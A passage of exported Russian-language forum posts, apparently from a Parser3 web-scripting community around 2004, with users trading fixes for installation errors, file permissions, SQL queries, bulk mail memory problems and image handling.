INSERT INTO `aim_sk_result` VALUES (51, 8, 6, 17, 4, 3, '20:57:00', '2004-06-24');\
[/quote]"
"30898","я уже и так обошелся...\
не одним запросом, конечно, но тоже в пределах терпимого...\
знал бы что нельзя просто время съэкономил бы..."
"30899","Решайте сами что вносить и что не вность\
И в каком виде это делать"
"30901","я свою проблему решил, а на других мне наплевать».\
\
с таким отношением, конечно, дом не построить."
"30902","извените если что нетак\
мне написать мини дополнение к инсрт по установке парсера по винду? или только про эту проблему, которую я только по своей нетерпеливости вызвал"
"30903","я предлагаю туда добавить \
\
вопрос: у меня тут вот {симптомы}, как быть?\
ответ: {короткое понятное объяснение}"
"30904","При записи файла на диск, сервер win 2003 выдаёт ошибку:\
\"Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request...\"\
Причина: недостаточно прав для записи в эту директория или перезаписи этого файла\
Устранение: дал права на запись для этого каталога анонимному пользователю, но запретил выполнение в этом каталоге"
"30905","давайте добавим\
\"а при этом в журнале работы parser3.log видно {то-то}\"\
?"
"30906","[b]Дано:[/b]\
[code]\
# лёгкий класс собирает данные по ходу работы кода, и после работы выводит их\
^class:a[]\
\
# В своём роде @main[], в него выводятся всякие форумы, новости ..., те может быть очень тяжёлым методом. Из-за чего собственно и возник ворос\
^b[]\
[/code]\
[b]Вопрос:[/b] Как вывести ^class:a[] выше ^b[], несохраняя ^b[] в переменную\
\
[b]Моё решение:[/b]\
[code]\
$b[^b[]]\
^class:a[]\
$b\
[/code]"
"30907","при этом в журнале log видно {[Tue Jun 29 09:05:11 2004] /st_contacts/Index.html?:.../Index.html(75:6): '.../tv.txt' write failed: Permission denied (13), actual filename '.../tv.txt' [file.access]}"
"30908","[code]\
@main[]\
^b[]\
\
@postprocess[body]\
^class:a[]\
$body\
[/code]"
"30909","Это наносит серьёзный удар по читаемости кода :("
"30910","[code]\
^class:a[]\
^b[]\
[/code]\
\
вас не устроило, и вам понадобилось сложное.\
в шутку предложил :)\
\
конкретнее спросите?"
"30911","^class:a[] - отвечает за сбор различной информации о работе кода сообщения об ошибках для пользователей и отладочной информациии для настройки.\
\
^b[] - содержи результат работы классов форума, фотогалереи, новостей, ..., и сопутствующий HTML\
\
^c[] - содержит результаты работы классов ведения сессий и определения пользователей и шапку дизайна\
\
Мне надо чтобы это образовывало вот такую видимость\
\
[code]\
^c[]\
^class:a[]\
^b[]\
[/code]\
\
Но отработать это долюно вот в такой последовательности (^b[] поменялся местами с ^class:a[])\
\
[code]\
@main[]\
^debconnect[\
^c[]\
^b[]\
^class:a[]\
]\
[/code]\
\
ps: Кажется простая задача, а моё жмотство на ресурсы всё усложняет :)"
"30914","[Thu Jul  1 13:45:38 2004] [error] [client 213.234.199.167] Premature end of script headers: /www/мой домен/html/директория/parser3_1/parser3.cgi\
\
Нашёл в фруме, bag.zip ещё нужен?"
"30915","вы уверены, что не морочите себе голову?"
"30916","то есть сколько выдашь, такую вложенность и сформирует хешей... или просто пропустил место, где написано, что это действует только один уровень..."
"30917","Подскажи пожалуйста способ проверки правильности адреса сайта.\
\
Например:\
\
База:\
Яндекс (http://www.yandex.ru)\
Рамблер (http://www.rambler.ru)\
Домашняя станица Васи Пупкина (http://www.vasya.ru)\
\
Если адрес существует, то Parser формирует:\
1. [url=\"http://www.yandex.ru/\"]Яндекс[/url]\
2. [url=\"http://www.rambler.ru/\"]Рамблер[/url]\
3. сайт не существует"
"30918","\"могут\" достаточно большими\
\
В программировании, как и бизнесе, нельзя полагаться на могут, - все нужно считать, т.е. делать замеры параметров производительности"
"30919","[code]\
  ^link_list.menu{\
    ^link_list.line[]\
    ^try{\
      $file[^file::load[text;$link_list.url};$.method[HEAD] $.any-status(0)]]\
      <a href=$link_list.url>\
        $link_list.name\
      </a>\
    }{\
       сайт не существует\
      $exception.handled(1)\
    }\
  }\
[/code]"
"30920","на всякий случай спасибо.\
\
и еще вопрос. где можно дополнительно почитать о полях и $.any-status?"
"30923","В данном случае мы говорим об удвоении использования Памяти, в случае если в бизнесе удвоить расходную часть в двое, то более 90% бизнесов на планете загнётся.\
Если у меня есть возможность сократить затраты в двое, я это сделаю."
"30925","1. в конкретном коде вы помещаете просто ссылку на строку в переменную.\
нет удвоения.\
\
2. в parser вообще работа со строками организована таким образом, что длинные строки/подстроки не дублируются.\
подстрока большого размера записывается как «надо бы достать вот оттуда с такого-то смещения столько-то байт [b]потом[/b]».\
делается это очень быстро, места не занимает.\
\
интересующимся см. libcord из поставки libgc.\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/lib/cord/include/cord.h?rev=HEAD&content-type=text/vnd.viewcvs-markup"
"30926","Больше не буду париться и парить окружающих глупыми вопросами :)"
"30927","допустим в базе хранятся картинки, к которым должны иметь доступ только авторизованные пользователи, это самая sql-string позволяет только сохранить картинку в базе, а не достать её??"
"30928","^file::sql{запрос}\
^file::sql[имя файла]{запрос}"
"30929","да уж, так медленно это всё работает :(((((\
\
\
а можно сделать так: как нибудь закрыть дерикторию .htaccess' ом, чтобы только парсер имел доступ к картинкам и отдавал их только авторизованным пользователям"
"30930","Ссылка по теме\
http://www.egoroff.spb.ru/portfolio/24.html"
"30931","Столкнулся с похожей проблемой :)\
Правда у меня повторов было мало и поэтому метод подошел.\
В пхпмайадме пытаешся сделать колонку уникальной и он сообщает что не может этого, т.к. вот такой то ключ встречается как минимум дважды...\
:))"
"30932","У меня проблема с установкой Parser'a на fatal.ru...\
Да-да-да, я знаю. Это уже было, это уже всех достало... Но поиском по форуму я ничего не добился.\
\
Значит на fatal.ru ОС FreeBSD. Качаю CGI скрипт без поддержки XML, распаковываю и кладу в папочку /cgi-bin/\
.htaccess такой:\
[code]SetEnv ID 58184\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
И _test.html переименовываю в index.html\
При попытке к ней обратится происходит ошибка 404.\
Добавил другой html-ник. Результат тот же...\
Добавил файл *.htm страницу отображает...\
И еще я провернул такую штуку как написно в [url=http://forum.fatal.ru/viewtopic.php?t=361&highlight=parser]теме[/url] про Parser на Fatal'е...\
Подскажите чего, или пошлите куда... =)"
"30933","обратитесь к такому адресу, что скажет?\
\
вероятно тоже 404.\
после чего перечитайте документацию на hosting: возможно, cgi-bin располагается физически не там, где вы думаете.\
\
обычно делают\
[code]\
home/\
   cgi-bin/ << этот каталог с cgi скриптами\
   htdocs/  << это веб-пространство\
[/code]\
вы уверены, что положили скрипты в [b]уже существовавший[/b] cgi-bin, а не сделали свой где-то, где думали логичным?"
"30934","Мне надо проверить включены ли компьютеры у пользователей в локальной сети. Можно ли это реализовать?"
"30935","парсер изпользовался как командный интерпретатор для формирования файлика типа\
ping 192.168.1.1 > ping_result.txt\
потом вызывал этот файлик на выполнение, а потом Парсер анализировал ping_result.txt и заносил в базу..."
"30936","как ты всётаки делал ping я не понял чего то."
"30938","Я беру из бызы номер ICQ например $tablica.icq и надо вставить в ссылку:\
<A href=\"http://$tablica.icq .home.icq.net.com/\">\
чтобы получилась ссылка вида http://12313133.home.icq.net.com/\
но эти поганые точки всю малину портят, parser не понимает, он говорит что это типа столбцы а таких нет."
"30939","особенно Конструкции языка Parser3 - Переменные..."
"30940","Я создал текстовый фаил со строчкой ping 192.168.1.1 > result.txt\
потом запустил\
^file::exec[/file]\
появляется ошибка exec failed - the file you tried to run не является приложением Win32 (193). Consider adding shbang line (#!x:\\interpreter\\command line)\
Помоему что тут не так"
"30942","а ответа всё равно нет. Если через переменную получается фигня\
$per[.home.icq.com/]\
а может так? $per[.'home'.'icq'.'com'/]не как не работает!"
"30943","предварительно сделав куда-нибудь поближе к document_root линк на ping.exe?"
"30947","положите Parser в директорию site и установите права 755, наберите http://YOURSITE.fatal.ru/parser3.cgi"
"30950","Может я конечно и ошибаюсь но в windows права надо давать пользователю SERVERNAME\\IUSR_SERVERNAME - анонимная учетная запись iis"
"30951","Мне нужен магазин наподобие plati.ru (куплю)"
"30952","Поставил себе этот пакет, вроде бы всё ок... Потом пытаюсь запустить первый урок (ну с меню) и у меня выскакивает вот такой крокодил: php_value error_reporting 7 . Как от этого избавиться?"
"30953","Например имеется ссылка\
<a href=\"/msgboard/msgboard.html?a=$rows_count\">$i</a>\
Как получить значение a"
"30955","я запускал по таймеру скрипт обычный системный do_ping.{sh|bat|pl - не важно}\
в котором вызывается на выполнение файл ping.{sh|bat|pl}, в котором уже написано что-то типа ping 192.168.1.1 > result.txt\
потом вызывался Парсер как командный интерпретатор, который читал этот файл result.txt, анализировал и записывал результат в базу, формировал новый файл ping.{sh|bat|pl} (потому что надо было не один хост пинговать, а много)"
"30958","Подскажите пожалуйста, если я открою в браузере страницу, и она запишет моему браузеру cookie на текущую сессию, второй экземпляр браузера, запущенный чуть позже,  будет знать об этой cookie?"
"30960","окна делятся между собой информацией о cookies...\
\
Просто у меня такая задачка - довожу до ума систему для проведения телефонных опросов: интервьюеры раньше звонили и заполнянли анкеты на бумаге, теперь - на экране через браузер.\
\
Интеры начали мухлевать (открывают несколько окон браузера, \"рисуют\" анкеты параллельно реальному обзвону респондентов), на что я им готовлю асимметричный ответ - сделал на VB простенькую программулину с контролом IE во весь экран - программка не даёт запустить более одного экземпляра себя, рассказывает, кто что делает, пользуясь net send, и блокирует Alt+Tab. Всё бы хорошо, но сохраняется возможность подсмотреть URL, который программка открывает и продолжать заполнять анкеты не через неё, а снова через браузер...\
\
Ладно, с cookie не прокатило, буду пользоваться hidden input..."
"30961","В документации есть пример для копирования фрагмента изображения в формате gif, вот он:\
\
[code]\
$mygif[^image::load[test.gif]]\
$resample_width($mygif.width*2)\
$resample_height($mygif.height*2)\
$mygif_new[^image::create($resample_width;$resample_height)]\
^mygif_new.copy[$mygif](0;0;20;30;0;0;$mygif_new.width;$mygif_new.height)\
$response:body[^mygif_new.gif[]]\
[/code]\
\
Все бы хорошо, только мне надо копировать не из gif-а, а из jpeg-а... Читаю документацию:\
\
[quote][code]^image::load[имя_файла.gif][/code]\
Создает объект класса image на основе готового фона. Это дает возможность использовать готовые изображения в формате GIF в качестве подложки для рисования, что может использоваться для создания графиков, графических счетчиков и т.п.[/quote]\
\
Следовательно конструктор load мне не подходит, надо использовать конструктор measure. Пробую:\
\
[code]\
$img[^image::measure[test.jpg]]\
$img_new[^image::create($img.width;$img.height)]\
^img_new.copy[$img](0;0;$img.width;$img.height;0;0;$img_new.width;$img_new.height)\
$response:body[^img_new.gif[]]\
[/code]\
\
Т.е. получается что я беру jpeg, и копирую его в gif? Но в описание метода gif класса image ясно написано:\
\
[quote]Внимание: в результате использования этого метода создается новый объект класса file, а не image![/quote]\
\
Но, собственно, сама проблема возникает еще раньше, на третьей строчки, при копировании... Выдает ошибку:\
\
[b]src must be image[/b]"
"30963","...в конечном итоге мне нужно сделать что-то вроде галереи, но чтобы не делать по две картинки (исходная и ноготок), а оставлять только одну хочу ноготки создавать динамически следующим образом:\
\
1. Берем исходную картинку\
2. Уменьшаем ее, допустим в два раза\
3. Вырезаем фрагмент 60 на 60 пикселей из случайного места:\
[code]\
^math:random($img.width)-60\
^math:random($img.height)-60\
[/code]\
4. Выводим ноготок\
5. Проделываем тоже самое для слудующей картинки.\
\
Помогите, plz, кто чем может :)"
"30965","этот вопрос уже обсуждался и описывался"
"30967","http://www.owasp.org/documentation/guide%3bjsessionid="
"30968","надо вывести несколько (сейчас шесть) таблиц из базы...\
[code]\
#это возвращает таблицу из шести значений, проблем тут нет...\
  $map[^getMaps[$level1.map_table;$level1.map_table_result;$level1.ago]]\
#это рожает таблицу юзеров (около десятка), тоже проблем нету...\
  $user[^getPpl[$level.auser_id;$level1.ago;$level1.result]]\
  $ago[^date::now(-$level1.ago)]\
#здесь получаются даты за последние 14 дней, на которые есть данные...\
  $tr[\
    ^pSQL.sql[table]{\
      SELECT\
      DISTINCT\
        date\
      FROM\
        $level1.result\
      WHERE\
        date >= '^ago.sql-string[]'\
      ORDER BY\
        date\
    }\
  ]\
  ^map.menu{\
    $stat[\
      ^pSQL.sql[hash]{\
        SELECT\
          date\
          ,auser_id\
          ,score\
          ,death\
          ,point\
        FROM\
          $level1.result\
        WHERE\
          map_id = '$map.id'\
        GROUP BY\
          date\
#        DESC\
      }\
    ]\
    <h1>\
      $map.sname\
    </h1>\
    <table border=\"1\">\
      <tr>\
        <td>\
          Дата\
        </td>\
        <td>\
          ^user.menu{\
            $user.name\
          }[</td><td>]\
        </td>\
      </tr>\
      <tr>\
        ^tr.menu{\
          <td>\
            <nobr>\
              ^dtf:format[<font size=\"-1\"><i>%A</i>, %d %h;$tr.date;$dtf:rs-locale</font>]\
            </nobr>\
          </td>\
          <td>\
            ^user.menu{\
#############################################################################\
# Вот сюда надо бы вставить значение из хеша\
#$stat.[$tr.date].[$user_auser_id].score\
#$stat.[$tr.date].[$user_auser_id].death\
#$stat.[$tr.date].[$user_auser_id].point\
#############################################################################\
\
#              $user.name\
            }[</td><td>]\
          </td>\
        }[</tr><tr>]\
        \
      </tr>\
    </table>\
  }\
\
[/code]\
там немного \"мусора\" оставил, чтобы понятно стало, что число колонок и столбцов переменное, генерится с помощью .menu{}\
и как это решается правильно? ибо пока я понимаю только, что надо внутри\
^tr.menu{} получать хеши каждый раз... это десятки запросов к базе, однако...\
\
и, на всякий случай, структура таблицы \
[code]\
CREATE TABLE `level1_result` (\
  `auser_id` int(10) NOT NULL default '0',\
  `date` date NOT NULL default '0000-00-00',\
  `map_id` tinyint(4) NOT NULL default '0',\
  `score` tinyint(4) NOT NULL default '0',\
  `death` tinyint(4) NOT NULL default '0',\
  `point` tinyint(4) NOT NULL default '0',\
  PRIMARY KEY  (`map_id`,`date`,`auser_id`)\
)\
[/code]"
"30969","выносится из menu запрос, достающий $stat, и немного изменяется:\
[code]\
$stat[^pSQL.sql[hash]{\
	SELECT\
		CONCAT(map_id, '=', date, '=', auser_id) AS k\
		,score\
		,death\
		,point\
	FROM\
		$level1.result\
}[$.distinct(1)]]\
[/code]\
\
после этого можно его использовать:\
[code]\
$stat.[$map.id=$tr.date=$user_auser_id].score\
[/code]\
\
это один из принципов, думаю код получился хоть и рабочий, но выводящий неверные данные, т.к. я выникул из запроса group by date, что в общем не хорошо т.к. происходит потеря произвольных данных, но я не вникал в условия задачи (читать \"войну и мир\" мне лень).\
\
ещё вариант: достаются все нужные заные в table, затем по ней один раз menu и в этом menu формируется необходимая структура данных для дальнейшей работы (примитивный пример: lib.p/@createTreeHash[]), которая впоследствии и используется."
"30971","я уже и сам думал как бы просто длинный ключ состряпать попроще, а оказывается это просто CONCAT и знак разделяющий подходящий... а потеря данных, группировка и DISTINCT мне не важны - я специально в базе по этим полям уникальный индекс держу... так что спасибо за наводку... еще не сделал, но чувствую - должно получиться... или страшна потеря данных??? ладно, это еще разобраться надо... есть еще нюанс, конечно, который я тоже не смогу сам родить - как для этого запроса, медитирую на результаты EXPLAIN подбирать индексы... доку по EXPLAIN покурил, но, похоже мало... или просто опыта нету... как не сделаешь индексы - все плохо сюда по доке... как ни поглядишь че как работает из /examples - все хорошо, однако..."
"30973","А что за куку такую ты им ставишь?\
\
Как вариант - делать для каждой анкеты URL вида http://server/^math:uuid[]/ - путь подсматривают сколько влезет. При этом ссылка на анкету: http://server/anketa_NNNNN/, а эта страница редиректит на UUID (записывая параметры в базу) - в результате, даже зная номер анкеты, никогда не догадаешься, на какой странице она заполняется..."
"30974","блокируете?\
alt+shift+?"
"30975","Знаю, что так работать некорректно, но все-таки.\
Положим, есть несколько подключаемых блоков кода.\
И есть таблица с названиями операторов, которая загружается всегда и определяет, в каком файле находится тот или иной оператор. Можно ли этим воспользоваться через, скажем, unhandled_exception? И будет ли такой способ ресурсооправданным?"
"30977","В форуме PAF описывал класс [url=\"http://www.parser.ru/forum/?id=20720\"]фабрику объектов[/url]. По-моему, это то, что надо пользовать в таких случаях."
"30978","лучше б было что-то типа этого:\
@my_exception[]\
$operator[$exception.source]\
^use_operator[$operator] //ищет оператор в неподключенных файлах, делает ^use[нужного файла]\
После чего каким-то образом опять выполнить $operator (^process[^^process[$operator]]???)\
Надо попробовать..."
"30979","Где их взять?"
"30980","Вы предлагаете:\
1. \"сломать все\" глобальным необработанным exception'ом\
2. понять, чем конкретно сломали\
3. понять, как бы этому передать параметры\
4. понять, как бы воплонить\
5. позвать \"тяжелый\" process...\
Это все очень плохо.\
\
Можно, если не секрет, объяснить задачу?"
"30981","Уважаемые, подскажите — реально ли поставить Parser на Tomcat 5?\
\
(заранее благодарен за ответы)"
"30982","Цитата из мануала:\
>> Если ошибка так и не была обработана ни одним обработчиком\
>> (см. оператор try), Parser вызывает метод \
>> unhandled_exception, ему передается информация об ошибке и \
>> стек вызовов, приведших к ошибке, и выдаются результаты его \
>> работы. Также ошибка записывается в журнал ошибок веб-сервера.\
\
PAF, а можно ли сделать так, чтобы при установке флага handled внутри @unhandled_exception оно ничего не писало в лог?\
Не хочется, чтобы в лог падала всякая фигня..."
"30983","Лог Парсера:\
'send' The mail server doesn't like the name ###@####.ru. Have you set the 'To: ' field correctly? [smtp.execute]\
\
Когда адрес To: и smtp-сервер в $MAIL[$SMTP[(smtp-сервер)]] похожи, например addres@mail.ru и smtp.mal.ru, то почта отсылается.\
\
Я правильно понимаю, что никаким образом почта не будет отсылаться на адрес, который не привязан к доменному имени smtp-сервера?"
"30984","Лог Парсера:\
'send' The mail server doesn't like the name ###@####.ru. Have you set the 'To: ' field correctly? [smtp.execute]\
\
Когда адрес To: и smtp-сервер в $MAIL[$.SMTP[(smtp-сервер)]] похожи, например address@mail.ru и $MAIL[$.SMTP[smtp.mail.ru]], то почта отсылается.\
\
Я правильно понимаю, что никаким образом почта не будет отсылаться на адрес, который не привязан к доменному имени smtp-сервера?"
"30985","все зависит от настроек сервера, обычно они не разрешают рассылку почты для других доменов и сделано это для защиты от спамеров-пионеров."
"30986","Вообще-то я с локального компьютера почту отправлял, а не с сервера. ...Потом серверные ошибки не пишутся в логе Парсера, как мне представляется..."
"30987","можно подумать что почту с локального компьютера должен отправлять джин, - даже с локального компьютера почта отправляется через какой-то сервер (или заглушку для разработки, которую тут Саня активно рекламирует), настройки которого не позволяют пересылку почты для чужих доменов. И неважно где этот сервер стоит, на удаленной или на локальной машине."
"30988","Tomcat насколько я помню, это servlet engine работающий в составе апача в виде модуля (или хитрым образом похаченного и выдающего себя за самомтоятельного). И служит эта штука для того чтобы пускать java приложения.\
\
Теперь скажи, ну и зачем тебе мухи вместе с котлетами? Проблем при таком подходе будет больше, т.к. не бывает бесшовного взаимодействия. А еще, - чем сложнее система, тем легче её полностью развалить."
"30989","На все 100%.\
Но есть маленькое «но».\
Macromedia Flex пашет только под:\
Macromedia JRun 4 Updater 2\
IBM WebSphere Application Server 5\
BEA WebLogic Server 7 or 8.1\
Tomcat 4.1.29 or 5.0.18\
\
но я не сильно хочу лезть в java, т.к. уже достаточно хорошо знаком с парсером...\
вообщем на данный момент вопрос остаеться открытым."
"30991","почему не нравится? ну в нём можно спокойно пообщаться я там переодически бываю"
"30992","Есть БД интернет-магазина, которая пополняется заказами. В заказах есть телефоны клиентов. Как бы сделать автоматический набор этого телефонного номера для соединение администратора с клиентом."
"30993","... тем не менее. Первое что приходит в голову использовать некое стороннее приложение, которое могло бы периодически считывать предварительно сохранённые парсером телефоны заказчиков. О такого рода программах вроде Голубицкий писал. Это если под виндой. А под Linux... crontab... ну и тоже какое-нить приложение подходящее.\
\
Ну а если делать по уму и расчитывать на большое количество звонков, то тут нужно комплексное программно-аппаратное решение с весьма приличным бюджетом :)"
"30994","Если речь идёт о том, чтобы добавить удобства Web-based CRM-программе и сделать набор номера одним кликом, можно поступить так - берёте старый добрый Visual Basic, на коленке клепаете программку, которая будет висеть в автозагрузке, слушать некий порт и разбирать приходящие на него URL'ы типа http://127.0.0.1:port/modem/?please_dial_num=1234567\
\
Как только запрос поступает, программулина начинает набор номера средствами встроеннного модема (http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q141/6/25.ASP&NoWebContent=1), после чего надо лишь снять трубку параллельно включённого телефона и поговорить с клиентом.\
\
Бюджет решения - пять баксов за бэушный винмодем в каждую машину и полчаса вашего программисткого времени."
"30995","http://www.vbip.com/forum/topic.asp?id=2369"
"30996","Расставил аккорды над строчкой, используя пробелы и заключил в <pre></pre> Шрифт меняется на моноширенный, а пробелы исчезают. Просто отображаются, а Парсером нет :-("
"30997","ну про полчаса времени ты загнул - нельзя ничего работающее писать за полчаса.\
\
Нужно как минимум:\
\
1. Написать код, комментируя его при этом\
2. Написать(придумать) конторльные примеры\
3. Прогнать через них код\
4. Дать код на тестирование другим (в идеале штатным тестерам)\
5. Исправить найденные баги\
6. По желанию провести оптимизацию\
7. Если нужно писать хоть малюсенькую доку.\
\
На это уйдет сильно больше чем полчаса. То, что нписано за полчаса, работать не будет (будет только у создателя в сильно специфических условиях).\
\
Я к чему это - то что неработающие решения в таких вещах сильно сказываются на репутации магазина и следовательно на его доходе."
"31001","кто знает что за странное округление?\
\
$value(2)\
$price(6910.18)\
$total($value*$price)\
\
$total = 13820.4"
"31003","кажется я понял\
нужно писать ^result.format[%.2f]\
\
но почему дробная часть по-умолчанию отсекается?\
кажется это не правильно"
"31004","Фишка в том, что в ряде случаев хорошо бы делать что-то полезное behind the scene. Например, большинство страниц одного из моих проектов - статические. Народ тут темный, главным инструментом сайтостроения считают FrontPage и при виде собачки перед непонятным словом и квадратных скобок после него выпадают в даун. Сейчас у меня сделано так - @auto[] в auto.p смотрит в сессионную куку и пишет в базу очередное проявление активности текущего посетителя. Если же куки нет, то он ее ставит, делает $response.location на себя и бросает исключение самодельного типа для того, чтобы не тратить трафик на вывод остатка страницы. Переписанный @unhandled_exception молча ловит его.\
Таким образом сам .html файл выглядит чистым.\
Только вот в лог падает всякая фигня..."
"31005","Есть такая функция - @main[]. Результат ее работы увидит посетитель. Но беда в том, что она вызывается неявно, так что я не могу ее засунуть вовнутрь какого-нибудь wrapper'а. Например, на странице может быть множество вызовов функций, использующих базку, так что недурственно было бы засунуть весь этот @main в ^connect. Сейчас же приходится из @main'а вызывать wrapper, который делает этот самый connect и вызывает функцию с установленным именем, определение которой лежит в .html файлах. На деле это не такая уж большая проблема - каждая .html страничка начинается с @theMainWorkGoesHere{ и заканчивается закрывающей фигурной скобкой, но это как-то... коряво, что-ли...\
Решение тут может быть элементарным - иметь предопределенный оператор @supermain, который по умолчанию вызывает @main, и который можно переопределить в auto.p"
"31006","Прошу прощение, за оффтопик, но все же на Perser’е пишу ;)\
Итак, есть скрипт, который берет из БД список подписчиков и для каждого из них делает ^mail:send[].Пытаюсь запустить, когда в базе порядка 500 подписчиков – получаю out of memory. Комментирую строку, где идет вызов ^mail:send[] – все проходит нормально.\
Делаю вывод, что сама работа по извлечению списка подписчиков (она там не самая примитивная) кушает приемлемую память. Проблема именно в вызове sendmail’а. \
Если имеет значение, хостинг – masterhost.\
Если у кого есть мысли, как исправить ситуацию, был бы крайне благодарен.\
С техподдержкой веду активную переписку, но они ничего толкового не говорят."
"31007","[code]\
$cnt(0)\
^subscriber.menu{\
  ^mail:send[...]\
  ^i.inc(1)\
  ^if(!($i % 100)){\
    ^memory:compact[]\
  }\
}\
[/code]\
\
[quot]\
Делаю вывод, что сама работа по извлечению списка подписчиков (она там не самая примитивная) кушает приемлемую память. Проблема именно в вызове sendmail’а.\
[/quot]\
\
можно измерить :)\
но мне кажется, что mail:send может быть последней каплей :)\
т.е. просто надо немного изменить алгоритм формирования писем или... см. выше."
"31008","Я теперь в тексте страницы все ^function[params] пишу как ^^function[params] а в @postprocess делаю ^process[...]. \
Еще, конечно, можно засунуть это все в ^cashe..."
"31010","В уроках ведь есть решение это проблемы - в auto.p определен @main[], который вызывает ^body[]. В самом .html достаточно просто первой строкой поставить @body[]\
И никаких wrapper'ов. В единственном @main[] можно сначала открыть ^connect, внутри которого вызвать ^body[].\
\
Боитесь, что люди не освоят проставление одной строки в тектсе?"
"31011","Отправляй как BCC, затем одним send -ом всё делается."
"31012","Вот, собственно, код подгатавливающий список адресов:\
[code]\
\
#Рассылка либо по пользователям, либи по группам\
\
#Таблица для формирования условий WHERE при SQL запросах \
$wheres[^table::create{where}]\
\
#По пользователям\
	^if($form:by eq \"user\"){\
#Пробегаемся по списку подльзователей и составляем список, кому рассылать (те, кто выбраны на предыдущей странице)\
		$us[^table::sql{SELECT client_id FROM client}]\
		^us.menu{\
			^if(${form:[usr_${us.client_id}]}){\
				^wheres.append{${us.client_id}}\
			}\
		}\
#Список, собственно адресов.\
		$emails[^table::sql{\
			SELECT DISTINCT\
				name,\
				email\
			FROM\
				client\
			WHERE ^wheres.menu{client_id = $wheres.client_id}[ OR ]\
		}]\
	}{\
#Берем список групп\
		$gs[^table::sql{SELECT client_grp_id,title FROM client_grp WHERE public ORDER BY sort_num}]\
		^gs.menu{\
			^if(${form:[grp_${gs.client_grp_id}]}){\
				^wheres.append{${gs.client_grp_id}}\
			}\
		}\
#Теперь берем собственно адреса\
		$emails[^table::sql{\
			SELECT DISTINCT\
				client.name AS name,\
				client.email AS email\
			FROM\
				client_to_grp\
				LEFT JOIN client ON client.client_id = client_to_grp.client_id\
			WHERE ^wheres.menu{client_grp_id = $wheres.where}[ OR ]\
		}]\
	}\
\
\
#Формируем само письмо\
\
	$cfg[\
		$.from[site.ru <maillist@site.ru>]\
		$.to[subscriber <test@site.ru>]\
		$.subject[site.RU Maillist: $form:title]\
		$.text[maillist text] \
	]\
	\
	^emails.menu{\
		$cfg.to[$emails.name <$emails.email>]\
		^mail:send[$cfg]\
	}[]\
	\
	Сообщения разосланны.\
\
[/code]\
\
Проблема еще заключается в том, что на нескольких своих (тестовых) почтовых адресах все работает. Не работает на полной базе подписчиков, а тестировать практически нет возможности, т.к. кому-то рассылается, а кому-то нет. Таким образом тем, кто первый в списке может в результате тестирования прийти несколько писем, а некоторым вообще ниодного.\
Может у sendmail'а есть какой-то тестовый режим, когда он делает все за исключением непосредственно отправки письма?"
"31013","Еще есть вариант слать письма порциями, например, по 20 штук и тут же вадавать редирект на эту же страницу, что бы разослать следующую порцию и т.д.\
не знаю, на сколько это разумно, но мне кажется, вариант не самый хороший. Ваши мнения?"
"31014","1.\
[code]\
$us[^table::sql{SELECT client_id FROM client}]\
^us.menu{\
  ^if(${form:[usr_${us.client_id}]}){\
    ^wheres.append{${us.client_id}}\
  }\
}\
[/code]\
\
может если это админ, то достаточно у всех чекбоксов пользователей поставить одно name и $where[$form:tables.user] ?\
\
2. \
[code]\
$emails[^table::sql{\
  SELECT DISTINCT\
    name,\
    email\
  FROM\
    client\
  WHERE ^wheres.menu{client_id = $wheres.client_id}[ OR ]\
}]\
[/code]\
\
->\
\
[code]\
$emails[^table::sql{\
  SELECT DISTINCT\
    name,\
    email\
  FROM\
    client\
  WHERE client_id IN (^wheres.menu{$wheres.client_id}[,])\
}]\
[/code]\
\
3. второй запрос по доставанию email тоже править, left join в нем нафиг не нужен.\
\
4. \
[quot]\
Может у sendmail'а есть какой-то тестовый режим, когда он делает все за исключением непосредственно отправки письма?\
[/quot]\
\
угу, есть тестовый режим, включается так:\
[code]\
$cfg[\
  $.from[site.ru <maillist@site.ru>]\
  ^if($is_debug){\
    $.to[subscriber <kent404@mail.ru>]\
  }{\
    $.to[subscriber <test@site.ru>]\
  }\
  $.subject[site.RU Maillist: $form:title]\
  $.text[maillist text] \
]\
[/code]\
\
в принципе этот код подготовки списка подписчиков не должен отжирать много памяти, хотя мне не нравится конструкция $cfg.to[...] т.к. тут будет модифицироваться переменная...\
может так:\
[code]\
$cfg[\
  $.from[site.ru <maillist@site.ru>]\
  $.subject[site.RU Maillist: $form:title]\
  $.text[maillist text] \
]\
^emails.menu{\
  ^mail:send[\
    $cfg\
    $.to[$emails.name <$emails.email>]\
  ]\
}\
[/code]\
ну и + compact.\
к тому-же можно поиграться с rusage и посмотреть сколько памяти отжирает сам mail:send."
"31016","Если делать выборку сообщений по датам например по такой ссылке:\
http://www.parser.ru/forum/?filter_type=lastdate&day=15&month=7&year=2004\
пишет:\
out of memory: failed to allocate 12 bytes. heap_used=15392768, heap_free=0, bytes_since_gc=22933908, total_bytes=22933908"
"31018","Ошибка выдавалась только при попытке выбрать сообщени за 2004 год, за 2003 и 2002 выбирал нормально"
"31020","когда будет время и я доделаю новую версию форумного механизма, то этого бага не будет."
"31021","Можно ли сделать, чтобы вошедший на страничку, блокированную посредством .htaccess .htpasswd в зависимости от логина получал уникальное значение переменной (например $user_id), что бы его можно было потом обрабатывать в парсере? Если через куку, то как ее подвязать к логину-паролю?\
Класс Авторизации от Misha v.3 читал, сложно, мне бы чего попроще, чтобы начать.\
Заранее спасибо."
"31022","$env:REMOTE_USER называется, равна логину..."
"31023","А где почитать еще по env??? Зашел по ссылке из FAQ и ничего не нашел :("
"31024","одна из первых ссылок:\
http://hoohoo.ncsa.uiuc.edu/cgi/env.html"
"31025","раздел 'жаргон' уехал в faq, а на его месте появился раздел 'полезные ссылки'..."
"31027","При установке Parser3 на FreeBSD 5.2.1 возникли проблемы с драйвером MySQL (libmysqlclient.so говорит Undefined symbol \"stpcpy\").\
\
На форуме я видел один тред на эту тему, но в итоге там не было никакого решения.\
\
Правильно ли я понимаю, что FreeBSD 5.2 + Parser3 + MySQL - это черные мертвые птички навсегда? Или все-таки есть решение проблемы?"
"31028","пересоберите из исходников."
"31029","Как, и почему, лучше хранить данные (новости, статьи, ...) \
все в одной таблице, или таблицу для новостей, таблицу для статей и т. д.?"
"31030","Вот запрос, база данных .mbd (access)\
^connect[$test_ro]{ \
